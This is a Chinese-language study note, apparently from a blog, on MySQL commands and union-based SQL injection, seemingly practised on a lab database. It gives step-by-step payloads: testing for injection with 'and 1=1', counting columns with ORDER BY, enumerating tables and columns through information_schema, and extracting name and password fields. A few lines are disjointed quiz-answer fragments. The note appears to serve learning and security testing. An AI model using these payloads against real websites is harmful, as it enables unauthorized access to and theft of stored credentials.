
如何通过cmd进入mysql数据库:
mysql -uroot -p然后输入密码
常用sql语句
show databases; use security;//选择数据库
select * from users WHERE id = 1 LIMIT 0,1;//从users表中查询id为1的所有列,并且只返回第一行(虽然id=1可能只有一行,但这里明确指定只返回一行)
select * from users where id = -2 union select 1,email_id,3 from emails limit 0,1;
- UNION要求两个查询的列数必须相同
- 这里用数字1和3作为占位符,使列数与前面的匹配
- 前面是-2查询必定失败只返回后面的,这样能注入成功

通过将想要查询的部分以参数的形式传递到SQL语句中实现查询
条件:需要代入数据库执行,需要传参,变量未存在过滤或者过滤不严谨

1234
4可能post注入

BC
A注入语写在Y后面了
D参数名不正确

需要收集的信息
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
版本探测的意义:在mysql5.0(高版本)以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库,相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
判断是否存在注入点[1,2]
1、逻辑值
and 1 = 1 页面正常
and 1 = 2 页面异常
则可能存在注入点
返回404可能是有过滤的
2、order by
通过order by 判断注入的字段数--用于猜列名个数
3、id = -1 union select 1,2,3,4[假设探测出有四列]
4、在有回显的位置查询需要的信息id = -1 union select 1,database(),3,4
5、查询数据库xxx名下表名信息
?id = -1 union select 1,group_concat(table_name)[显示在一行],3,4 from information_schema.tables where table_schema = 'xxx'
6、查询abc表下列名信息
?id = -1 union select 1,group_concat(column_name)[显示在一行],3,4 from information_schema.columns where table_name = 'abc'
7、查询指定数据
?id = -1 union select 1,name,password,4 from abc limit 0 ,1[如果有多条可以用limit进行限制]1,1/2,1...
浙公网安备 33010602011771号